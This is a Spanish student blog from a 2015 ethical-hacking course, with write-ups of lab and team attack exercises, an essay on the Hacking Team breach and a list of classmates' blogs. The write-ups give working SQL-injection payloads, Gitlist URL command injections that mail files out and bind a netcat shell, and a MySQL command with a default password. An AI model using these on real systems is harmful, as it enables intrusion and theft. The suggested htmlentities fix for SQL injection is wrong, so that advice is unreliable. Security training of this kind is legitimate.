jueves, 22 de octubre de 2015

Unidad 3: Tareas 1 y 2. (RETO FINAL)

EL RETOOOOOOO

NOTA: Todas las anteriores tareas, de las unidades 1 y 2, están en este mismo blog en fechas anteriores.

Pasos que seguí para descifrar el reto:

Averiguamos el los campos de la tabla guestbook:

%' or 0=0 union select null, table_name from information_schema.tables #




Devolvemos el contenido de los 3 campos:

%' and 1=0 union select null, concat(name, 0x0a, comment_id, 0x0a, comment) from guestbook #



The key is "use the force", Luke... (La clave es "use the force")

Abrimos con Kleopatra el archivo y en pass ponemos lo anterior, resuelto.

TAREA 1


Documento colaborativo realizado en grupo y enviado al Consejo por nuestro representante. Equipo "mooc bounty hunters"

TAREA 2

Por mi parte me he dedicado a leer toda la informacion que cambiabamos con los compañeros por correo. Modificar archivos para securizar ciertos servicios, crear usuarios, eliminar root, deshabiiltar relay STMP para evitar envío correos, etc.

Atacando:

Antes de lanzarme a intentar conseguir ningún archivo (el mismo día mis compañeros ya habían cogido algunas decenas), busqué información sobre vulnerabilidades, encontrando bastante, aunque confusa y variada, leí mucho y me lo tomé con calma...

FTP:

Fueron los primeros que intenté coger, y los mas sencillos de conseguir, a través de de los FTP, ya que con usuario anonymous y pass en blanco podías acceder y enviarte un archivo con la instrucción "get".

CACTI:

Posteriormente empecé a leer sobre Cacti, conocerlo, ver que vulnerabilidades podría tener la versión instalada por defecto en los servers, etc., dando palos de ciego, me instalé metasploit que nunca había utilizado y conseguí ejecutar un exploit  sin conseguir nada en claro tal que:

msf exploit(cacti_graphimage_exec) > set RHOST 188.166.78.208
RHOST => 188.166.78.208
msf exploit(cacti_graphimage_exec) > run

[*] Started reverse double handler
[-] Could not locate a valid image ID

GITLIST:

Finalmente y con ayuda de mis compañeros, me confirmaban que se podría ejecutar una instrauccion en la url, entre comillas simples, y a través de la página de Cacti, pude enviarme por correo en un server que supongo que tenía habilitado relay por SMTP, uno de los archivos trofeo, tal que:

http://188.166.63.247/gitlist/gitlist/blob/master/cache/%60mail%20-a%20/usr/share/doc/base-files/mooc-hacking-team-0022-level-01.gpg%20-s%20%22mooc-hacking-team-0022-level-01%22%20kursh@gemailoloquesea.com%60

Se utilizan los códigos de referencia HTML (%20 espacio, %22 comilla doble, %60 comilla simple) para que funcione, la instrucción limpia es como sigue:

http://188.166.63.247/gitlist/gitlist/blob/master/cache/'mail -a /usr/share/doc/base-files/mooc-hacking-team-0022-level-01.gpg  -s  "mooc-hacking-team-0022-level-01" kursh@gemailoloquesea.com'

Recibiendo el archivo en mi correo al rato. No me funcionó en muchos mas servers por razones que desconozco.

También conseguí acceder (con alguna pista de algún compañero a la hora de como desempeñar la inyección por URL esta vez con $ () la instrucción entre paréntesis y con un simbolo de dólar delante) mediante la ejecución de netcat -e /bin/sh, lo que me permitía desde mi ordenador hacer un netcat a la ip del server a "atacar", y manejarme por los directorios. Me di cuenta que si hacía un netcat sencillo no funcionaban algunos comandos, mientras que con nc -lvp en la url del servidor, me permitía luego hacer cat, y algún otro comando. No obstante no fui capaz de enviarme por correo (no funcionaba la instrucción mail), o hacer una reverse shell para enviar desde el server a mi ordenador un archivo con get o similar.

Un pantallazo que tomé en uno de los momentos haciendo un "ls":



Tras conectar con "nc 188.166.123.155 6666" (puerto elegido aleatoriamente), podía hacer list.. cambiar de directorio, etc. pero no fui capaz de recoger ningún archivo trofeo.

Obteniendo un archivo (24 de octubre):
Tras las explicaciones de los compañeros, he podido coger un archivo level 3, utilizando mysql con password por defecto para todos los servers (si lo han cambiado no funciona lógicamente), enlazando instrucciones con punto y coma, se crea una tabla, se vuelca en ella el contenido del archivo con LOAD DATA INFILE, se muestra el contenido y se elimina.


Primero averiguamos que grupo es con hostname o con ls y el directorio para saber el nombre del archivo a coger:

http://128.199.62.241/gitlist/demo-repository/blame/master/%60hostname%60

Oops! fatal: no such path team-0025 in master 

http://128.199.62.241/gitlist/demo-repository/blame/master/%60ls%20/var/lib/mysql/%60

Oops! fatal: no such path cacti debian-5.5.flag ib_logfile0 ib_logfile1 ibdata1 mooc-hacking-team-0025-level-03.gpg mysql mysql_upgrade_info performance_schema in master

Luego intento averiguar por curiosidad si puedo ver el pass de mysql guardado en /etc/mysql/debian.cnf y vemos error, el user www-data no tiene permisos para verlo..

http://128.199.62.241/gitlist/demo-repository/blame/master/$%28more%20/etc/mysql/debian.cnf%29

Oops! /etc/mysql/debian.cnf: Permission denied fatal: no such path in master 
Hacemos list con -l para ver propiedades y vemos que solo root puede leer y escribir en el:

http://128.199.62.241/gitlist/demo-repository/blame/master/$%28ls%20-l%20/etc/mysql/debian.cnf%29


Oops! fatal: no such path -rw------- 1 root root 333 Oct 2 14:56 /etc/mysql/debian.cnf in master


De todas formas intentamos comprobar con el pass por defecto de conectar a mysql y volcar mediante LOAD DATA INFILE la información del archivo trofeo en una tabla y luego mostrarla, vemos que no han cambiado el pass y podemos acceder y ejecutar esta instrucción:

http://128.199.62.241/gitlist/demo-repository/blame/master/%60mysql%20-h%20localhost%20-u%20debian-sys-maint%20-pGvqAXVYKeyeaclsQ%20-e%20%22use%20mysql;CREATE%20TABLE%20auxiliar_table%20%28%20file%20LONGBLOB%20NOT%20NULL%20%29;LOAD%20DATA%20INFILE%20%27/var/lib/mysql/mooc-hacking-team-0025-level-03.gpg%27%20INTO%20TABLE%20auxiliar_table;SELECT%20*%20FROM%20auxiliar_table;DROP%20TABLE%20IF%20EXISTS%20auxiliar_table;%22%60


Se copia y pega la info en un nuevo archivo gpg con el nombre oportuno y ahí está.

-----BEGIN PGP MESSAGE----- Version: GnuPG v1 hQEMAwTqD96R8ATzAQf7BXIkYDbaBgfYdFs3Kn2cbpF4j4ORdS6i3F7Anq8qfhzO r+zvF6WhCaUNtzyruhHLJ8dt6TpFcCqqSlReAMahEp/mT0n/VcmDH3MvFJRkxjUe NWqXz9icUobFRaJk0O1STk0qobQZveeQo9uEERKtUi+J2KXW4vh5WlkIskgWaviZ M+Mbww9I8kROTcTf9VqVX+H8Rb9+fduQAD9I+ESRj9QygdskZtoHwgI24+b3tC7c xowFa/fRkxLXXdS2B6lxOhtkVeUVwq1SXQlWhN7dqlHOs3nT8GwUIz65adKAYhqh Ko97KJdqBh9BDGzc+Oco0wctbIDfqc4OU247doUcl9LA6QFUqCFVbEJsMmE9ZtlE JYHFdu+1R/XPdC5tQDpGM03MLcydzfqaqjhgu01rmwEdZ4U3dQ9v4pmS5XDSKGN6 VGR2DLY9qutWvMQNG8sYyBhtTcHQqAHKXBFb5ebxo+/Hs18e4xVW0YtTLpuVTaU1 ZSGTbNzxl/JZPbNw/WHclN6QXyphOy5Ui+qbb1DXdLuwxsbdN3mMcWIFrE2dhXuG EwdvdRX8HYpcb8Kl9TDuWf7wI2Rec4wkj4GmQWdPJhNEWIzDO7wRAp2MJMQq6wpP 3jv9JIIBf6Ko3bWDHNtKMtmOiKgF7ZE7s8qCahlKm8aoDE0icC8g9jh7P/ANLW7F EmDqh6Y9B+pqy5BlbrZMgkhWgAGXu5gmrAmJ9nY91YxTaTeqW9yTRAZt/6E0s7d1 kzj1qDOaTHtyUibnASntPH5Tk7U5VtXEF74X8GZu50y7cWBHeVjTG25tKujIW7BS Qr7JvFirKz+HnhWyFZhWCzz/ssBhlo/25bl7Sl3IlZLUvwNv7l0amfLuuAC0ZscJ z/u1THUQz/HGj9xcpVxnYe7VuF90ambnsi3n =MCKd -----END PGP MESSAGE-----



NOTAS: Referente a la inyección de las instrucciones en la URL he comprobado que si se ponen entre comillas únicamente se pueden ejecutar de una en una... mientras que si se ponen entre $() podemos poner varias instrucciones seguidas separadas por punto y coma.

ENDE:

Sea como sea.. he echado más horas viendo páginas con información y leyendo sobre vulnerabilidades, que cogiendo archivos, realmente he cogido menos de 10, pero he aprendido mucho y sobre todo a como plantear la defensa y el ataque, y que sobre la marcha hay que ir adaptándose, porque cada persona tiene una forma de resolver un problema y en este caso, nuestro equipo sufrió el acceso de otro equipo en hasta 3 ocasiones, habiendo modificado nuestro servidor sobre la marcha, descubriendo así otras vías de acceso.


martes, 20 de octubre de 2015

Unidad 2: Tarea 3 Debate sobre hacking ético

TAREA 3

S.O. Windows 7 Pro.

HACKING TEAM (Ángel o Diablo...)

La empresa italiana de seguridad y hacking "Hacking Team" tomó en Julio de este mismo año de su propia medicina, habiéndole sido sustraídas cerca de 400 Gb. de información relativa a los trabajos que efectúa para sus clientes (principalmente gobiernos de todo el mundo), entre la qie figuran datos personales, facturas, domicilios, etc..

  • ¿Qué opinas sobre la acción realizada contra Hacking Team? ¿Consideras que los hackers se han excedido en sus ‘funciones’?
Ni me sorprende, ni me disgusta. Por la información que me consta, Hacking Team ofrece servicios mayormente ofensivos, que en principio diría que tienen de "éticos" mas bien poco. El ladrón robado.... No seré yo quien juzgue la acción emprendida por algún hacktivista, algún cliente defraudado, o alguno de los posibles objetivos víctima s de sus "trabajos..

Sea como sea tanto Hacking Team, como los atacantes, supongo que se han excedido sin duda; uno desde lo profesional (no entiendo como meten tanto miedo con el tema de los ciberdelitos y luego existen empresas como esta que se lucran espiando, robando información, invadiendo cualquier intimidad por "cuatro" cochinos euros..) y l os otros desde lo directamente ilegal. Me explico como un libro cerrado pero creo que se entiende la idea.

  • ¿Cuáles crees que deberían ser los límites del hacker?
Desde mi conocimiento teórico y muy reciente, creo que los límites están bien como están.. y están correctamente definidos. Desde el momento en que se está invadiendo de forma ilegal un sistema (ya sea empresarial.. particular..) aunque tan solo sea para observar, se está cometiendo un acto de invasión de lo personal que en todo caso y al menos en España está estipulado como delito.

Si te revientan la cerradura de casa y entran para robar, es un acto delictivo.
Si te dejas la puerta abierta y entran a robar .... También!! La linea entre lo legal o etico y lo ilegal .... o inmoral ... es a veces muy fina.
  • ¿Piensas que la ciudadanía es consciente del rol que los hackers pueden jugar en favor de su propia seguridad en la red detectando aquellos sitios que no son seguros ya sea porque ponen en riesgo los datos de los usuarios o bien porque hacen un uso ilegítimos de los mismos?
Para nada. El termino Hacker está mal visto. El Hacker no es entendido. A la ciudadanía de a pie no le interesa que hay detrás del botón de "Aceptar" ni los riesgos que pulsarlo conlleva. Las empresas (y no creo que todas), serán conscientes de los riesgos que tener conectada su red a internet conlleva, supongo que aprendido por haber sufrido las consecuencias de un ataque, un robo de información..

Sea como sea que haya empresas tan claramente ofensivas como Hacking Team, me hacen pensar (otra vez) que las normas no están escritas de igual forma para todos. Si no hay una orden judicial para asaltar una red.. un equipo.. no entiendo que "el gobierno" pueda hacerlo. ¿Quien es el gobierno para tener esos privilegios? No se exactamente que otro tipo de clientes  puede tener esta empresa pero algo no huele bien...

Unidad 2: Tarea 2 Sql Injection

TAREA 2

S.O. Windows 7 Pro.

SQL INJECTION (Accediendo a la información).

Primeramente instalamos VirtualBox y añadimos la máquina linux de DVWA (Damn Vulnerable Web App) que nos permite simular una web preparada (a diferentes grados de dificultad) con múltiples vulnerabilidades propias de la Web.

Tras arrancar la máquina y tomar nota de la IP ofrecida que hace de servidor de la página web, nos conectamos desde nuestro pc físico.

Fig. 1 Máquina dvwa arrancando, nos ofrece ip 192.168.0.160

Conectando a 192.168.0.160/login.php e introducir las credenciales "admin"@"password", cambiamos la dificultad a LOW, y vamos a probar la inyección SQL.

Fig. Vista de lo que nos devuelve el submit al enviar un "1" (Id de usuario).

Por la informacion devuelta, First name y Surname, y por que estamos siguiendo esta guía de Computer Security Student, la sentencia Sql que se ejecuta para devolver esta info tendrá que ser tal que 

  • $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

Seleccionamos primer nombre y apellido de la tabla users donde el id de usuario sea igual al que hemos introducido en la caja de texto (variable $id).

Nos devuelve first name : admin y surname : admin.

Ejecutemos ahora si la primera inyección, mediante la siguiente cadena:
  • %' or '0'='0
Lo que entiendo que está ocurriendo es que la sentencia Select original se ha transformado de la siguiente manera:

  • $getid = "SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0'";
Al sustituir la variable $id por la cadena que expresamente se ha introducido (muy importante controlar el tema de las comillas), estamos diciendo que devuelva los valores de los registros que sean cierto cuando el id de usuario sea "%" (donde pone %, poner cualquier cosa extraña que no se va a encontrar ningun id con ese valor) o cuando 0 = 0 (cosa que es cierta siempre)

Basicamente devolver el registró cuando una de las dos partes que hemos puesto mediante el OR, sea cierta, y como 0 siempre es igual a 0, la segunda parte se dará en toooodas las consultas, por lo que entiendo que devolverá todos los registros existentes en la tabla, probemos:

Fig 3.  La caja de texto está vacía porque se ha enviado su valor, pero el resultado es el esperado.

A partir de aquí pondré una tabla con las cadenas que hemos ido introduciendo en orden y los valores obtenidos:

%' or 0=0 union select null, version() #
Devuelve todos los usuarios y además devuelve la versión de la base de datos Mysql en el campo de “surname”.
First name:
Surname: 5.5.44-0+deb8u1
%' or 0=0 union select null, user() #
Devuelve todos los usuarios y además devuelve el usuario que está ejecutando las sentencias en la base de datos.
First name:
Surname: dvwa@localhost
%' or 0=0 union select null, database() #
… además devuelve el nombre de la base de datos sobre la que estamos trabajando.
First name:
Surname: dvwa
%' and 1=0 union select null, table_name from information_schema.tables #
Esta sentencia devuelve el nombre de cada una de las tablas existentes, lo hace en el campo surname, pongo unas pocas de ejemplo de las obtenidas:
Surname: CHARACTER_SETS
Surname: COLLATIONS
Surname: INNODB_LOCKS
Surname: guestbook
Surname: users
……
En total se han devuelto  41 tablas!!
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
Devuelve todas las tablas cuyo nombre empieza por “user” en este caso 2.
First name:
Surname: USER_PRIVILEGES
First name:
Surname: users
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
Devuelve los campos existentes en la table users:
user_id, first_name, last_name, user, password, avatar
%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
En la anterior consulta se obtenian los campos, ahora se obtienen los valores de los registros existentes:

Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

..en total 5 registros, los otros 3 nombres son Hack, Bob y Pablo.

Averiguando con sucesivas consultas, las tablas existentes, campos existentes, podemos llegar rapidamente a ver el contenido de la tabla que nos interesa, en este caso las credenciales de acceso. Supongo que ese password está encriptado, pero eso es otro tema...

Que se pueda realizar un SQL Injection es (supongo que influirán otras cosas) por que no se tratan correctamente las cadenas introducidas en la caja de texto, el servidor, la recibe, ejecuta la sentencia Sql sin revisar que contiene la variable y ejecuta la misma.

¿Como solucionar éste problema?


$consulta = "SELECT * FROM clientes WHERE dni='".$valordni."'";
$query = htmlentities($consulta);
mysql_query($query);

htmlentities es una función que de alguna manera analiza la variable que se le pasa y la devuelve la misma cadena pero sustituyendo los símbolos como barras, comillas, acentos, por su representación html. Por ejemplo el símbolo "<" se traduce a "&lt", de forma que la sentencia sql nunca podrá entender una cadena malintencionada y dará algún tipo de error, pero conseguiremos evitar que la inyección tenga éxito.



Mas o menos por ahí van los tiros...

lunes, 5 de octubre de 2015

Recopilación de Blogs Mooc Hacking Ético.

Me gusta la información, los datos, las estadísticas... aquí una recopilación de los blogs del Mooc que estamos siguiendo, recogidos únicamente de Facebook. (Si alguien quiere añadir el suyo, o eliminarlo, tan solo tiene que comentarlo).

Ordenador por nombre de usuario en el grupo.

1
Acef Koob
2
Alexander Estrada
3
Alexander Rodriguez
4
Alfonso Lopez Moreno
5
Allan Vargas
6
Alvaro Pascu Osmode
7
Amorfo Rascifer
8
Ana González Monzón
9
Andres Felipe Garcia Molina
10
Angel Nogueira
11
Antonio Jose
12
Aratz Mugica Pulido
13
Arturo Aragon
14
Arturo Solano
15
Asier Goikoetxea Galarz
16
Brenda Bonilla
17
Bruno Nielsen
18
Camilo Alonso Sáez Reyes
19
Camilo Irve XP
20
Carlos Alberto
21
Carlos Jaramillo
22
Carlos Suarez
23
Carmen Luengo
24
Cecil R Galán
25
César Elizondo
26
Claudio Mauricio Casado Barragan
27
Cristian Ignacio Hurtado Rojas
28
Daniel Galviria M
29
Daniel Muñoz
30
Daniel Rivera
31
Daniel Yuste Aroca
32
David Diaz
33
Eddy GJ
34
Emmanuel GB
35
Emmanuel Larios
36
Enmanuel Sotomayor
37
Er Utu Sevilla Andalucia
38
Fabian Albornoz
39
Felipe Cardona Herrera
40
Francisco Jose Rivas Corralejo
41
Francisco Sepulveda Vera
42
Freivin Campbell
43
Gabriel Carcamo
44
Gabriela Mosley
45
Geremy Joel Cordoba Alejandro
46
Giorgina González Aguilar
47
Giselle Encalada
48
Gonzalo Fernández Bastías
49
Guillermo Hernandez
50
Hand Shakid
51
Heber Quequejana
https://heberuqc.wordpress.com
52
Hugo Rodriguez
53
Igor Gaminde
http://bloga.biharenea.eu/
54
Ing Bienvenido Carrasco
55
Ing Vacio Abrego
56
Jaime Enrique Olguín Soto
http://jeos03.blogspot.cl
57
Javier Gallardo
58
Jesús Velasco
59
Jimmy Flores
60
Jon de los Mozos
61
Jon Villate
62
Jonas Montilva
63
Jonás Ricardo Bonilla
64
Jonathan AT
65
Jorge Bermejo
66
Jorge Zaragoz
67
Jose Boatman Villalta
68
Jose David C
69
Jose Luis Landaeta
70
Jose Mairongo
71
Jose Manuel L. Puertas
72
Josu Orbe
73
Juan Jose Diaz
74
Juan Ma Perez
75
Juan Moises Pizarro
76
Julián Echeverri
77
Katiuska Marín
78
Kelvin Montañez Rodriguez
79
Keny SB
80
Ladis Carpalsoro
81
Ludwig Antonio Vega Ochoa
82
Mairon Xtiven Sandoval
83
Manuel García Pita
84
Manuel Santiago S
85
Marcelino Araya Alvarado
86
Marco Aguirre
87
Maritza Esparza Hernandez
88
Mauricio Oyola
89
Miguel Sifuentes
90
Nebu Malware
91
Noel LS
92
Oihane Casado Apraiz
93
Oscar Castillo Fernandez DelaBarra
94
Oscar Eduardo Navarrete Abarca
95
Osimu Huerta
96
Pablo Antonio Ortega Lucero
97
Raul Andrés Cofré Rojas
98
Ruth Amanda Perez Bermudez
99
Tomás Wehner
100
Toni Grimaltos Vidal
101
Victor Alex Avendaño Medina
102
Viri Castañeda M
103
William EM
104
Williams Shakespeare
105
Wilmer Villalobos
106
Yair Hamalau
107
Yuri Leandro
108
ג'ונתן יואל

Ultima actualización: 06/10/2015